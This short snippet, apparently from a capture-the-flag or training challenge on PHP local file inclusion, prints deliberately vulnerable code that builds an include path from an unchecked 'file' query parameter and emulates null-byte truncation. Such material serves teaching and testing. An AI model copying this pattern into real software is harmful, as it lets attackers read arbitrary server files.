PHP - Local File Inclusion

###############################
### Here is your exploit :) ###
###############################
$code = ‘$filename = \‘pages/\‘.(isset($_GET["file"])?$_GET["file"]:"welcome").\‘.html\‘;‘;
$code_emulate_pnb = ‘$filename = Common::substrUntil($filename, "\\0");‘; # Emulate Poison Null Byte for PHP>=5.3.4
$code2 = ‘include $filename;‘;
### End of exploit ###
